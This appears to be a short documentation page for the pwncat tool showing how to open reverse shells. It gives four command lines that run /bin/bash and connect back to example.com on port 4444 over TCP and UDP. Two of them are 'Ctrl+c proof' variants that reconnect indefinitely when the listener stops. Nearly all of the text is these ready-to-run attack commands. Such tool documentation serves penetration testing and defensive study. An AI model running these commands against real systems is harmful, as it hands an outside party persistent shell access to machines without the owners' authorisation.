Reverse Shell

pwncat will by default connect to both, IPv4 and IPv6 and initiate a successful connection to whatever protocol is available.

TCP Reverse shell

Default TCP reverse shell connecting to example.com:4444 which behaves exactly as nc.

pwncat -e '/bin/bash' example.com 4444

The following is a Ctrl+c proof TCP reverse shell. If you stop your local listener, the reverse shell will automatically connect back to you indefinitely.

pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1

UDP Reverse shell

Default UDP reverse shell which behaves exactly as nc.

pwncat -e '/bin/bash' example.com 4444 -u

The following is a Ctrl+c proof UDP reverse shell. If you stop your local listener, the reverse shell will automatically connect back to you indefinitely.

pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1